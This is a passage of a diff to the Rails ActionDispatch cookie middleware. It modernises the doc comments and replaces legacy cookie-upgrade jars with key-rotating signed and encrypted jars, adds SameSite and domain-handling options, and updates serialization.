+  # Cookie. When writing cookie data, the data is sent out in the HTTP response
+  # header, `Set-Cookie`.
   #
   # Examples of writing:
   #
-  #   # Sets a simple session cookie.
-  #   # This cookie will be deleted when the user's browser is closed.
-  #   cookies[:user_name] = "david"
+  #     # Sets a simple session cookie.
+  #     # This cookie will be deleted when the user's browser is closed.
+  #     cookies[:user_name] = "david"
   #
-  #   # Cookie values are String based. Other data types need to be serialized.
-  #   cookies[:lat_lon] = JSON.generate([47.68, -122.37])
+  #     # Cookie values are String-based. Other data types need to be serialized.
+  #     cookies[:lat_lon] = JSON.generate([47.68, -122.37])
   #
-  #   # Sets a cookie that expires in 1 hour.
-  #   cookies[:login] = { value: "XJ-122", expires: 1.hour.from_now }
+  #     # Sets a cookie that expires in 1 hour.
+  #     cookies[:login] = { value: "XJ-122", expires: 1.hour }
   #
-  #   # Sets a signed cookie, which prevents users from tampering with its value.
-  #   # The cookie is signed by your app's `secrets.secret_key_base` value.
-  #   # It can be read using the signed method `cookies.signed[:name]`
-  #   cookies.signed[:user_id] = current_user.id
+  #     # Sets a cookie that expires at a specific time.
+  #     cookies[:login] = { value: "XJ-122", expires: Time.utc(2020, 10, 15, 5) }
   #
-  #   # Sets an encrypted cookie value before sending it to the client which
-  #   # prevent users from reading and tampering with its value.
-  #   # The cookie is signed by your app's `secrets.secret_key_base` value.
-  #   # It can be read using the encrypted method `cookies.encrypted[:name]`
-  #   cookies.encrypted[:discount] = 45
+  #     # Sets a signed cookie, which prevents users from tampering with its value.
+  #     cookies.signed[:user_id] = current_user.id
+  #     # It can be read using the signed method.
+  #     cookies.signed[:user_id] # => 123
   #
-  #   # Sets a "permanent" cookie (which expires in 20 years from now).
-  #   cookies.permanent[:login] = "XJ-122"
+  #     # Sets an encrypted cookie value before sending it to the client which
+  #     # prevent users from reading and tampering with its value.
+  #     cookies.encrypted[:discount] = 45
+  #     # It can be read using the encrypted method.
+  #     cookies.encrypted[:discount] # => 45
   #
-  #   # You can also chain these methods:
-  #   cookies.permanent.signed[:login] = "XJ-122"
+  #     # Sets a "permanent" cookie (which expires in 20 years from now).
+  #     cookies.permanent[:login] = "XJ-122"
+  #
+  #     # You can also chain these methods:
+  #     cookies.signed.permanent[:login] = "XJ-122"
   #
   # Examples of reading:
   #
-  #   cookies[:user_name]           # => "david"
-  #   cookies.size                  # => 2
-  #   JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37]
-  #   cookies.signed[:login]        # => "XJ-122"
-  #   cookies.encrypted[:discount]  # => 45
+  #     cookies[:user_name]           # => "david"
+  #     cookies.size                  # => 2
+  #     JSON.parse(cookies[:lat_lon]) # => [47.68, -122.37]
+  #     cookies.signed[:login]        # => "XJ-122"
+  #     cookies.encrypted[:discount]  # => 45
   #
   # Example for deleting:
   #
-  #   cookies.delete :user_name
+  #     cookies.delete :user_name
   #
-  # Please note that if you specify a :domain when setting a cookie, you must also specify the domain when deleting the cookie:
+  # Please note that if you specify a `:domain` when setting a cookie, you must
+  # also specify the domain when deleting the cookie:
   #
-  #  cookies[:name] = {
-  #    value: 'a yummy cookie',
-  #    expires: 1.year.from_now,
-  #    domain: 'domain.com'
-  #  }
+  #     cookies[:name] = {
+  #       value: 'a yummy cookie',
+  #       expires: 1.year,
+  #       domain: 'domain.com'
+  #     }
   #
-  #  cookies.delete(:name, domain: 'domain.com')
+  #     cookies.delete(:name, domain: 'domain.com')
   #
   # The option symbols for setting cookies are:
   #
-  # * <tt>:value</tt> - The cookie's value.
-  # * <tt>:path</tt> - The path for which this cookie applies. Defaults to the root
-  #   of the application.
-  # * <tt>:domain</tt> - The domain for which this cookie applies so you can
-  #   restrict to the domain level. If you use a schema like www.example.com
-  #   and want to share session with user.example.com set <tt>:domain</tt>
-  #   to <tt>:all</tt>. Make sure to specify the <tt>:domain</tt> option with
-  #   <tt>:all</tt> or <tt>Array</tt> again when deleting cookies.
+  # *   `:value` - The cookie's value.
+  # *   `:path` - The path for which this cookie applies. Defaults to the root of
+  #     the application.
+  # *   `:domain` - The domain for which this cookie applies so you can restrict
+  #     to the domain level. If you use a schema like www.example.com and want to
+  #     share session with user.example.com set `:domain` to `:all`. To support
+  #     multiple domains, provide an array, and the first domain matching
+  #     `request.host` will be used. Make sure to specify the `:domain` option
+  #     with `:all` or `Array` again when deleting cookies. For more flexibility
+  #     you can set the domain on a per-request basis by specifying `:domain` with
+  #     a proc.
+  #
+  #         domain: nil  # Does not set cookie domain. (default)
+  #         domain: :all # Allow the cookie for the top most level
+  #                      # domain and subdomains.
+  #         domain: %w(.example.com .example.org) # Allow the cookie
+  #                                               # for concrete domain names.
+  #         domain: proc { Tenant.current.cookie_domain } # Set cookie domain dynamically
+  #         domain: proc { |req| ".sub.#{req.host}" }     # Set cookie domain dynamically based on request
   #
-  #     domain: nil  # Does not set cookie domain. (default)
-  #     domain: :all # Allow the cookie for the top most level
-  #                  # domain and subdomains.
-  #     domain: %w(.example.com .example.org) # Allow the cookie
-  #                                           # for concrete domain names.
+  # *   `:tld_length` - When using `:domain => :all`, this option can be used to
+  #     explicitly set the TLD length when using a short (<= 3 character) domain
+  #     that is being interpreted as part of a TLD. For example, to share cookies
+  #     between user1.lvh.me and user2.lvh.me, set `:tld_length` to 2.
+  # *   `:expires` - The time at which this cookie expires, as a Time or
+  #     ActiveSupport::Duration object.
+  # *   `:secure` - Whether this cookie is only transmitted to HTTPS servers.
+  #     Default is `false`.
+  # *   `:httponly` - Whether this cookie is accessible via scripting or only
+  #     HTTP. Defaults to `false`.
+  # *   `:same_site` - The value of the `SameSite` cookie attribute, which
+  #     determines how this cookie should be restricted in cross-site contexts.
+  #     Possible values are `nil`, `:none`, `:lax`, and `:strict`. Defaults to
+  #     `:lax`.
   #
-  # * <tt>:tld_length</tt> - When using <tt>:domain => :all</tt>, this option can be used to explicitly
-  #   set the TLD length when using a short (<= 3 character) domain that is being interpreted as part of a TLD.
-  #   For example, to share cookies between user1.lvh.me and user2.lvh.me, set <tt>:tld_length</tt> to 1.
-  # * <tt>:expires</tt> - The time at which this cookie expires, as a \Time object.
-  # * <tt>:secure</tt> - Whether this cookie is only transmitted to HTTPS servers.
-  #   Default is +false+.
-  # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
-  #   only HTTP. Defaults to +false+.
   class Cookies
-    HTTP_HEADER   = "Set-Cookie".freeze
-    GENERATOR_KEY = "action_dispatch.key_generator".freeze
-    SIGNED_COOKIE_SALT = "action_dispatch.signed_cookie_salt".freeze
-    ENCRYPTED_COOKIE_SALT = "action_dispatch.encrypted_cookie_salt".freeze
-    ENCRYPTED_SIGNED_COOKIE_SALT = "action_dispatch.encrypted_signed_cookie_salt".freeze
-    SECRET_TOKEN = "action_dispatch.secret_token".freeze
-    SECRET_KEY_BASE = "action_dispatch.secret_key_base".freeze
-    COOKIES_SERIALIZER = "action_dispatch.cookies_serializer".freeze
-    COOKIES_DIGEST = "action_dispatch.cookies_digest".freeze
+    HTTP_HEADER   = "Set-Cookie"
+    GENERATOR_KEY = "action_dispatch.key_generator"
+    SIGNED_COOKIE_SALT = "action_dispatch.signed_cookie_salt"
+    ENCRYPTED_COOKIE_SALT = "action_dispatch.encrypted_cookie_salt"
+    ENCRYPTED_SIGNED_COOKIE_SALT = "action_dispatch.encrypted_signed_cookie_salt"
+    AUTHENTICATED_ENCRYPTED_COOKIE_SALT = "action_dispatch.authenticated_encrypted_cookie_salt"
+    USE_AUTHENTICATED_COOKIE_ENCRYPTION = "action_dispatch.use_authenticated_cookie_encryption"
+    ENCRYPTED_COOKIE_CIPHER = "action_dispatch.encrypted_cookie_cipher"
+    SIGNED_COOKIE_DIGEST = "action_dispatch.signed_cookie_digest"
+    SECRET_KEY_BASE = "action_dispatch.secret_key_base"
+    COOKIES_SERIALIZER = "action_dispatch.cookies_serializer"
+    COOKIES_DIGEST = "action_dispatch.cookies_digest"
+    COOKIES_ROTATIONS = "action_dispatch.cookies_rotations"
+    COOKIES_SAME_SITE_PROTECTION = "action_dispatch.cookies_same_site_protection"
+    USE_COOKIES_WITH_METADATA = "action_dispatch.use_cookies_with_metadata"
 
     # Cookies can typically store 4096 bytes.
     MAX_COOKIE_SIZE = 4096
@@ -160,72 +215,69 @@ class Cookies
     # Raised when storing more than 4K of session data.
     CookieOverflow = Class.new StandardError
 
-    # Include in a cookie jar to allow chaining, e.g. cookies.permanent.signed
+    # Include in a cookie jar to allow chaining, e.g. `cookies.permanent.signed`.
     module ChainedCookieJars
-      # Returns a jar that'll automatically set the assigned cookies to have an expiration date 20 years from now. Example:
+      # Returns a jar that'll automatically set the assigned cookies to have an
+      # expiration date 20 years from now. Example:
       #
-      #   cookies.permanent[:prefers_open_id] = true
-      #   # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+      #     cookies.permanent[:prefers_open_id] = true
+      #     # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
       #
-      # This jar is only meant for writing. You'll read permanent cookies through the regular accessor.
+      # This jar is only meant for writing. You'll read permanent cookies through the
+      # regular accessor.
       #
-      # This jar allows chaining with the signed jar as well, so you can set permanent, signed cookies. Examples:
+      # This jar allows chaining with the signed jar as well, so you can set
+      # permanent, signed cookies. Examples:
       #
-      #   cookies.permanent.signed[:remember_me] = current_user.id
-      #   # => Set-Cookie: remember_me=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+      #     cookies.permanent.signed[:remember_me] = current_user.id
+      #     # => Set-Cookie: remember_me=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
       def permanent
         @permanent ||= PermanentCookieJar.new(self)
       end
 
-      # Returns a jar that'll automatically generate a signed representation of cookie value and verify it when reading from
-      # the cookie again. This is useful for creating cookies with values that the user is not supposed to change. If a signed
-      # cookie was tampered with by the user (or a 3rd party), +nil+ will be returned.
+      # Returns a jar that'll automatically generate a signed representation of cookie
+      # value and verify it when reading from the cookie again. This is useful for
+      # creating cookies with values that the user is not supposed to change. If a
+      # signed cookie was tampered with by the user (or a 3rd party), `nil` will be
+      # returned.
       #
-      # If +secrets.secret_key_base+ and +secrets.secret_token+ (deprecated) are both set,
-      # legacy cookies signed with the old key generator will be transparently upgraded.
-      #
-      # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
+      # This jar requires that you set a suitable secret for the verification on your
+      # app's `secret_key_base`.
       #
       # Example:
       #
-      #   cookies.signed[:discount] = 45
-      #   # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
+      #     cookies.signed[:discount] = 45
+      #     # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
       #
-      #   cookies.signed[:discount] # => 45
+      #     cookies.signed[:discount] # => 45
       def signed
-        @signed ||=
-          if upgrade_legacy_signed_cookies?
-            UpgradeLegacySignedCookieJar.new(self)
-          else
-            SignedCookieJar.new(self)
-          end
+        @signed ||= SignedKeyRotatingCookieJar.new(self)
       end
 
-      # Returns a jar that'll automatically encrypt cookie values before sending them to the client and will decrypt them for read.
-      # If the cookie was tampered with by the user (or a 3rd party), +nil+ will be returned.
+      # Returns a jar that'll automatically encrypt cookie values before sending them
+      # to the client and will decrypt them for read. If the cookie was tampered with
+      # by the user (or a 3rd party), `nil` will be returned.
       #
-      # If +secrets.secret_key_base+ and +secrets.secret_token+ (deprecated) are both set,
-      # legacy cookies signed with the old key generator will be transparently upgraded.
+      # If `config.action_dispatch.encrypted_cookie_salt` and
+      # `config.action_dispatch.encrypted_signed_cookie_salt` are both set, legacy
+      # cookies encrypted with HMAC AES-256-CBC will be transparently upgraded.
       #
-      # This jar requires that you set a suitable secret for the verification on your app's +secrets.secret_key_base+.
+      # This jar requires that you set a suitable secret for the verification on your
+      # app's `secret_key_base`.
       #
       # Example:
       #
-      #   cookies.encrypted[:discount] = 45
-      #   # => Set-Cookie: discount=ZS9ZZ1R4cG1pcUJ1bm80anhQang3dz09LS1mbDZDSU5scGdOT3ltQ2dTdlhSdWpRPT0%3D--ab54663c9f4e3bc340c790d6d2b71e92f5b60315; path=/
+      #     cookies.encrypted[:discount] = 45
+      #     # => Set-Cookie: discount=DIQ7fw==--K3n//8vvnSbGq9dA--7Xh91HfLpwzbj1czhBiwOg==; path=/
       #
-      #   cookies.encrypted[:discount] # => 45
+      #     cookies.encrypted[:discount] # => 45
       def encrypted
-        @encrypted ||=
-          if upgrade_legacy_signed_cookies?
-            UpgradeLegacyEncryptedCookieJar.new(self)
-          else
-            EncryptedCookieJar.new(self)
-          end
+        @encrypted ||= EncryptedKeyRotatingCookieJar.new(self)
       end
 
-      # Returns the +signed+ or +encrypted+ jar, preferring +encrypted+ if +secret_key_base+ is set.
-      # Used by ActionDispatch::Session::CookieStore to avoid the need to introduce new cookie stores.
+      # Returns the `signed` or `encrypted` jar, preferring `encrypted` if
+      # `secret_key_base` is set. Used by ActionDispatch::Session::CookieStore to
+      # avoid the need to introduce new cookie stores.
       def signed_or_encrypted
         @signed_or_encrypted ||=
           if request.secret_key_base.present?
@@ -236,57 +288,35 @@ def signed_or_encrypted
       end
 
       private
-
-        def upgrade_legacy_signed_cookies?
-          request.secret_token.present? && request.secret_key_base.present?
+        def upgrade_legacy_hmac_aes_cbc_cookies?
+          request.secret_key_base.present? &&
+            request.encrypted_signed_cookie_salt.present? &&
+            request.encrypted_cookie_salt.present? &&
+            request.use_authenticated_cookie_encryption
         end
-    end
 
-    # Passing the ActiveSupport::MessageEncryptor::NullSerializer downstream
-    # to the Message{Encryptor,Verifier} allows us to handle the
-    # (de)serialization step within the cookie jar, which gives us the
-    # opportunity to detect and migrate legacy cookies.
-    module VerifyAndUpgradeLegacySignedMessage # :nodoc:
-      def initialize(*args)
-        super
-        @legacy_verifier = ActiveSupport::MessageVerifier.new(request.secret_token, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
-      end
+        def prepare_upgrade_legacy_hmac_aes_cbc_cookies?
+          request.secret_key_base.present? &&
+            request.authenticated_encrypted_cookie_salt.present? &&
+            !request.use_authenticated_cookie_encryption
+        end
 
-      def verify_and_upgrade_legacy_signed_message(name, signed_message)
-        deserialize(name, @legacy_verifier.verify(signed_message)).tap do |value|
-          self[name] = { value: value }
+        def encrypted_cookie_cipher
+          request.encrypted_cookie_cipher || "aes-256-gcm"
         end
-      rescue ActiveSupport::MessageVerifier::InvalidSignature
-        nil
-      end
 
-      private
-        def parse(name, signed_message)
-          super || verify_and_upgrade_legacy_signed_message(name, signed_message)
+        def signed_cookie_digest
+          request.signed_cookie_digest || "SHA1"
         end
     end
 
-    class CookieJar #:nodoc:
+    class CookieJar # :nodoc:
       include Enumerable, ChainedCookieJars
 
-      # This regular expression is used to split the levels of a domain.
-      # The top level domain can be any string without a period or
-      # **.**, ***.** style TLDs like co.uk or com.au
-      #
-      # www.example.co.uk gives:
-      # $& => example.co.uk
-      #
-      # example.com gives:
-      # $& => example.com
-      #
-      # lots.of.subdomains.example.local gives:
-      # $& => example.local
-      DOMAIN_REGEXP = /[^.]*\.([^.]*|..\...|...\...)$/
-
       def self.build(req, cookies)
-        new(req).tap do |hash|
-          hash.update(cookies)
-        end
+        jar = new(req)
+        jar.update(cookies)
+        jar
       end
 
       attr_reader :request
@@ -311,7 +341,7 @@ def each(&block)
         @cookies.each(&block)
       end
 
-      # Returns the value of the cookie by +name+, or +nil+ if no such cookie exists.
+      # Returns the value of the cookie by `name`, or `nil` if no such cookie exists.
       def [](name)
         @cookies[name.to_s]
       end
@@ -325,6 +355,9 @@ def key?(name)
       end
       alias :has_key? :key?
 
+      # Returns the cookies as Hash.
+      alias :to_hash :to_h
+
       def update(other_hash)
         @cookies.update other_hash.stringify_keys
         self
@@ -332,7 +365,7 @@ def update(other_hash)
 
       def update_cookies_from_jar
         request_jar = @request.cookie_jar.instance_variable_get(:@cookies)
-        set_cookies = request_jar.reject { |k, _| @delete_cookies.key?(k) }
+        set_cookies = request_jar.reject { |k, _| @delete_cookies.key?(k) || @set_cookies.key?(k) }
 
         @cookies.update set_cookies if set_cookies
       end
@@ -341,26 +374,8 @@ def to_header
         @cookies.map { |k, v| "#{escape(k)}=#{escape(v)}" }.join "; "
       end
 
-      def handle_options(options) #:nodoc:
-        options[:path] ||= "/"
-
-        if options[:domain] == :all || options[:domain] == "all"
-          # if there is a provided tld length then we use it otherwise default domain regexp
-          domain_regexp = options[:tld_length] ? /([^.]+\.?){#{options[:tld_length]}}$/ : DOMAIN_REGEXP
-
-          # if host is not ip and matches domain regexp
-          # (ip confirms to domain regexp so we explicitly check for ip)
-          options[:domain] = if (request.host !~ /^[\d.]+$/) && (request.host =~ domain_regexp)
-            ".#{$&}"
-          end
-        elsif options[:domain].is_a? Array
-          # if host matches one of the supplied domains without a dot in front of it
-          options[:domain] = options[:domain].find { |domain| request.host.include? domain.sub(/^\./, "") }
-        end
-      end
-
-      # Sets the cookie named +name+. The second argument may be the cookie's
-      # value or a hash of options as documented above.
+      # Sets the cookie named `name`. The second argument may be the cookie's value or
+      # a hash of options as documented above.
       def []=(name, options)
         if options.is_a?(Hash)
           options.symbolize_keys!
@@ -381,9 +396,11 @@ def []=(name, options)
         value
       end
 
-      # Removes the cookie on the client machine by setting the value to an empty string
-      # and the expiration date in the past. Like <tt>[]=</tt>, you can pass in
-      # an options hash to delete cookies with extra data such as a <tt>:path</tt>.
+      # Removes the cookie on the client machine by setting the value to an empty
+      # string and the expiration date in the past. Like `[]=`, you can pass in an
+      # options hash to delete cookies with extra data such as a `:path`.
+      #
+      # Returns the value of the cookie, or `nil` if the cookie does not exist.
       def delete(name, options = {})
         return unless @cookies.has_key? name.to_s
 
@@ -395,50 +412,94 @@ def delete(name, options = {})
         value
       end
 
-      # Whether the given cookie is to be deleted by this CookieJar.
-      # Like <tt>[]=</tt>, you can pass in an options hash to test if a
-      # deletion applies to a specific <tt>:path</tt>, <tt>:domain</tt> etc.
+      # Whether the given cookie is to be deleted by this CookieJar. Like `[]=`, you
+      # can pass in an options hash to test if a deletion applies to a specific
+      # `:path`, `:domain` etc.
       def deleted?(name, options = {})
         options.symbolize_keys!
         handle_options(options)
         @delete_cookies[name.to_s] == options
       end
 
-      # Removes all cookies on the client machine by calling <tt>delete</tt> for each cookie
+      # Removes all cookies on the client machine by calling `delete` for each cookie.
       def clear(options = {})
         @cookies.each_key { |k| delete(k, options) }
       end
 
-      def write(headers)
-        if header = make_set_cookie_header(headers[HTTP_HEADER])
-          headers[HTTP_HEADER] = header
+      def write(response)
+        @set_cookies.each do |name, value|
+          if write_cookie?(value)
+            response.set_cookie(name, value)
+          end
+        end
+
+        @delete_cookies.each do |name, value|
+          response.delete_cookie(name, value)
         end
       end
 
-      mattr_accessor :always_write_cookie
-      self.always_write_cookie = false
+      mattr_accessor :always_write_cookie, default: false
 
       private
-
         def escape(string)
           ::Rack::Utils.escape(string)
         end
 
-        def make_set_cookie_header(header)
-          header = @set_cookies.inject(header) { |m, (k, v)|
-            if write_cookie?(v)
-              ::Rack::Utils.add_cookie_to_header(m, k, v)
+        def write_cookie?(cookie)
+          request.ssl? || !cookie[:secure] || always_write_cookie || request.host.end_with?(".onion")
+        end
+
+        def handle_options(options)
+          if options[:expires].respond_to?(:from_now)
+            options[:expires] = options[:expires].from_now
+          end
+
+          options[:path]      ||= "/"
+
+          unless options.key?(:same_site)
+            options[:same_site] = request.cookies_same_site_protection
+          end
+
+          if options[:domain] == :all || options[:domain] == "all"
+            cookie_domain = ""
+            dot_splitted_host = request.host.split(".", -1)
+
+            # Case where request.host is not an IP address or it's an invalid domain (ip
+            # confirms to the domain structure we expect so we explicitly check for ip)
+            if request.host.match?(/^[\d.]+$/) || dot_splitted_host.include?("") || dot_splitted_host.length == 1
+              options[:domain] = nil
+              return
+            end
+
+            # If there is a provided tld length then we use it otherwise default domain.
+            if options[:tld_length].present?
+              # Case where the tld_length provided is valid
+              if dot_splitted_host.length >= options[:tld_length]
+                cookie_domain = dot_splitted_host.last(options[:tld_length]).join(".")
+              end
+            # Case where tld_length is not provided
             else
-              m
+              # Regular TLDs
+              if !(/\.[^.]{2,3}\.[^.]{2}\z/.match?(request.host))
+                cookie_domain = dot_splitted_host.last(2).join(".")
+              # **.**, ***.** style TLDs like co.uk and com.au
+              else
+                cookie_domain = dot_splitted_host.last(3).join(".")
+              end
             end
-          }
-          @delete_cookies.inject(header) { |m, (k, v)|
-            ::Rack::Utils.add_remove_cookie_to_header(m, k, v)
-          }
-        end
 
-        def write_cookie?(cookie)
-          request.ssl? || !cookie[:secure] || always_write_cookie
+            options[:domain] = if cookie_domain.present?
+              cookie_domain
+            end
+          elsif options[:domain].is_a? Array
+            # If host matches one of the supplied domains.
+            options[:domain] = options[:domain].find do |domain|
+              domain = domain.delete_prefix(".")
+              request.host == domain || request.host.end_with?(".#{domain}")
+            end
+          elsif options[:domain].respond_to?(:call)
+            options[:domain] = options[:domain].call(request)
+          end
         end
     end
 
@@ -451,7 +512,13 @@ def initialize(parent_jar)
 
       def [](name)
         if data = @parent_jar[name.to_s]
-          parse name, data
+          result = parse(name, data, purpose: "cookie.#{name}")
+
+          if result.nil?
+            parse(name, data)
+          else
+            result
+          end
         end
       end
 
@@ -462,7 +529,7 @@ def []=(name, options)
           options = { value: options }
         end
 
-        commit(options)
+        commit(name, options)
         @parent_jar[name] = options
       end
 
@@ -470,159 +537,185 @@ def []=(name, options)
         def request; @parent_jar.request; end
 
       private
-        def parse(name, data); data; end
-        def commit(options); end
+        def expiry_options(options)
+          if options[:expires].respond_to?(:from_now)
+            { expires_in: options[:expires] }
+          else
+            { expires_at: options[:expires] }
+          end
+        end
+
+        def cookie_metadata(name, options)
+          expiry_options(options).tap do |metadata|
+            metadata[:purpose] = "cookie.#{name}" if request.use_cookies_with_metadata
+          end
+        end
+
+        def parse(name, data, purpose: nil); data; end
+        def commit(name, options); end
     end
 
     class PermanentCookieJar < AbstractCookieJar # :nodoc:
       private
-        def commit(options)
+        def commit(name, options)
           options[:expires] = 20.years.from_now
         end
     end
 
-    class JsonSerializer # :nodoc:
-      def self.load(value)
-        ActiveSupport::JSON.decode(value)
-      end
-
-      def self.dump(value)
-        ActiveSupport::JSON.encode(value)
-      end
-    end
-
     module SerializedCookieJars # :nodoc:
-      MARSHAL_SIGNATURE = "\x04\x08".freeze
+      SERIALIZER = ActiveSupport::MessageEncryptor::NullSerializer
 
       protected
-        def needs_migration?(value)
-          request.cookies_serializer == :hybrid && value.start_with?(MARSHAL_SIGNATURE)
-        end
-
-        def serialize(value)
-          serializer.dump(value)
+        def digest
+          request.cookies_digest || "SHA1"
         end
 
-        def deserialize(name, value)
-          if value
-            if needs_migration?(value)
-              Marshal.load(value).tap do |v|
-                self[name] = { value: v }
-              end
+      private
+        def serializer
+          @serializer ||=
+            case request.cookies_serializer
+            when nil
+              ActiveSupport::Messages::SerializerWithFallback[:marshal]
+            when :hybrid
+              ActiveSupport::Messages::SerializerWithFallback[:json_allow_marshal]
+            when Symbol
+              ActiveSupport::Messages::SerializerWithFallback[request.cookies_serializer]
             else
-              serializer.load(value)
+              request.cookies_serializer
             end
-          end
         end
 
-        def serializer
-          serializer = request.cookies_serializer || :marshal
-          case serializer
-          when :marshal
-            Marshal
-          when :json, :hybrid
-            JsonSerializer
-          else
-            serializer
+        def reserialize?(dumped)
+          serializer.is_a?(ActiveSupport::Messages::SerializerWithFallback) &&
+            serializer != ActiveSupport::Messages::SerializerWithFallback[:marshal] &&
+            !serializer.dumped?(dumped)
+        end
+
+        def parse(name, dumped, force_reserialize: false, **)
+          if dumped
+            begin
+              value = serializer.load(dumped)
+            rescue StandardError
+              return
+            end
+
+            self[name] = { value: value } if force_reserialize || reserialize?(dumped)
+
+            value
           end
         end
 
-        def digest
-          request.cookies_digest || "SHA1"
+        def commit(name, options)
+          options[:value] = serializer.dump(options[:value])
         end
 
-        def key_generator
-          request.key_generator
+        def check_for_overflow!(name, options)
+          total_size = name.to_s.bytesize + options[:value].bytesize
+
+          if total_size > MAX_COOKIE_SIZE
+            raise CookieOverflow, "#{name} cookie overflowed with size #{total_size} bytes"
+          end
         end
     end
 
-    class SignedCookieJar < AbstractCookieJar # :nodoc:
+    class SignedKeyRotatingCookieJar < AbstractCookieJar # :nodoc:
       include SerializedCookieJars
 
       def initialize(parent_jar)
         super
-        secret = key_generator.generate_key(request.signed_cookie_salt)
-        @verifier = ActiveSupport::MessageVerifier.new(secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+
+        secret = request.key_generator.generate_key(request.signed_cookie_salt)
+        @verifier = ActiveSupport::MessageVerifier.new(secret, digest: signed_cookie_digest, serializer: SERIALIZER)
+
+        request.cookies_rotations.signed.each do |(*secrets)|
+          options = secrets.extract_options!
+          @verifier.rotate(*secrets, serializer: SERIALIZER, **options)
+        end
       end
 
       private
-        def parse(name, signed_message)
-          deserialize name, @verifier.verified(signed_message)
+        def parse(name, signed_message, purpose: nil)
+          rotated = false
+          data = @verifier.verified(signed_message, purpose: purpose, on_rotation: -> { rotated = true })
+          super(name, data, force_reserialize: rotated)
         end
 
-        def commit(options)
-          options[:value] = @verifier.generate(serialize(options[:value]))
-
-          raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE
+        def commit(name, options)
+          super
+          options[:value] = @verifier.generate(options[:value], **cookie_metadata(name, options))
+          check_for_overflow!(name, options)
         end
     end
 
-    # UpgradeLegacySignedCookieJar is used instead of SignedCookieJar if
-    # secrets.secret_token and secrets.secret_key_base are both set. It reads
-    # legacy cookies signed with the old dummy key generator and signs and
-    # re-saves them using the new key generator to provide a smooth upgrade path.
-    class UpgradeLegacySignedCookieJar < SignedCookieJar #:nodoc:
-      include VerifyAndUpgradeLegacySignedMessage
-    end
-
-    class EncryptedCookieJar < AbstractCookieJar # :nodoc:
+    class EncryptedKeyRotatingCookieJar < AbstractCookieJar # :nodoc:
       include SerializedCookieJars
 
       def initialize(parent_jar)
         super
 
-        if ActiveSupport::LegacyKeyGenerator === key_generator
-          raise "You didn't set secrets.secret_key_base, which is required for this cookie jar. " \
-            "Read the upgrade documentation to learn more about this new config option."
+        if request.use_authenticated_cookie_encryption
+          key_len = ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
+          secret = request.key_generator.generate_key(request.authenticated_encrypted_cookie_salt, key_len)
+          @encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: encrypted_cookie_cipher, serializer: SERIALIZER)
+        else
+          key_len = ActiveSupport::MessageEncryptor.key_len("aes-256-cbc")
+          secret = request.key_generator.generate_key(request.encrypted_cookie_salt, key_len)
+          sign_secret = request.key_generator.generate_key(request.encrypted_signed_cookie_salt)
+          @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, cipher: "aes-256-cbc", serializer: SERIALIZER)
         end
 
-        secret = key_generator.generate_key(request.encrypted_cookie_salt || "")[0, ActiveSupport::MessageEncryptor.key_len]
-        sign_secret = key_generator.generate_key(request.encrypted_signed_cookie_salt || "")
-        @encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, digest: digest, serializer: ActiveSupport::MessageEncryptor::NullSerializer)
+        request.cookies_rotations.encrypted.each do |(*secrets)|
+          options = secrets.extract_options!
+          @encryptor.rotate(*secrets, serializer: SERIALIZER, **options)
+        end
+
+        if upgrade_legacy_hmac_aes_cbc_cookies?
+          legacy_cipher = "aes-256-cbc"
+          secret = request.key_generator.generate_key(request.encrypted_cookie_salt, ActiveSupport::MessageEncryptor.key_len(legacy_cipher))
+          sign_secret = request.key_generator.generate_key(request.encrypted_signed_cookie_salt)
+
+          @encryptor.rotate(secret, sign_secret, cipher: legacy_cipher, digest: digest, serializer: SERIALIZER)
+        elsif prepare_upgrade_legacy_hmac_aes_cbc_cookies?
+          future_cipher = encrypted_cookie_cipher
+          secret = request.key_generator.generate_key(request.authenticated_encrypted_cookie_salt, ActiveSupport::MessageEncryptor.key_len(future_cipher))
+
+          @encryptor.rotate(secret, nil, cipher: future_cipher, serializer: SERIALIZER)
+        end
       end
 
       private
-        def parse(name, encrypted_message)
-          deserialize name, @encryptor.decrypt_and_verify(encrypted_message)
-        rescue ActiveSupport::MessageVerifier::InvalidSignature, ActiveSupport::MessageEncryptor::InvalidMessage
+        def parse(name, encrypted_message, purpose: nil)
+          rotated = false
+          data = @encryptor.decrypt_and_verify(encrypted_message, purpose: purpose, on_rotation: -> { rotated = true })
+          super(name, data, force_reserialize: rotated)
+        rescue ActiveSupport::MessageEncryptor::InvalidMessage, ActiveSupport::MessageVerifier::InvalidSignature
           nil
         end
 
-        def commit(options)
-          options[:value] = @encryptor.encrypt_and_sign(serialize(options[:value]))
-
-          raise CookieOverflow if options[:value].bytesize > MAX_COOKIE_SIZE
+        def commit(name, options)
+          super
+          options[:value] = @encryptor.encrypt_and_sign(options[:value], **cookie_metadata(name, options))
+          check_for_overflow!(name, options)
         end
     end
 
-    # UpgradeLegacyEncryptedCookieJar is used by ActionDispatch::Session::CookieStore
-    # instead of EncryptedCookieJar if secrets.secret_token and secrets.secret_key_base
-    # are both set. It reads legacy cookies signed with the old dummy key generator and
-    # encrypts and re-saves them using the new key generator to provide a smooth upgrade path.
-    class UpgradeLegacyEncryptedCookieJar < EncryptedCookieJar #:nodoc:
-      include VerifyAndUpgradeLegacySignedMessage
-    end
-
     def initialize(app)
       @app = app
     end
 
     def call(env)
-      request = ActionDispatch::Request.new env
-
-      status, headers, body = @app.call(env)
+      request = ActionDispatch::Request.new(env)
+      response = @app.call(env)
 
       if request.have_cookie_jar?
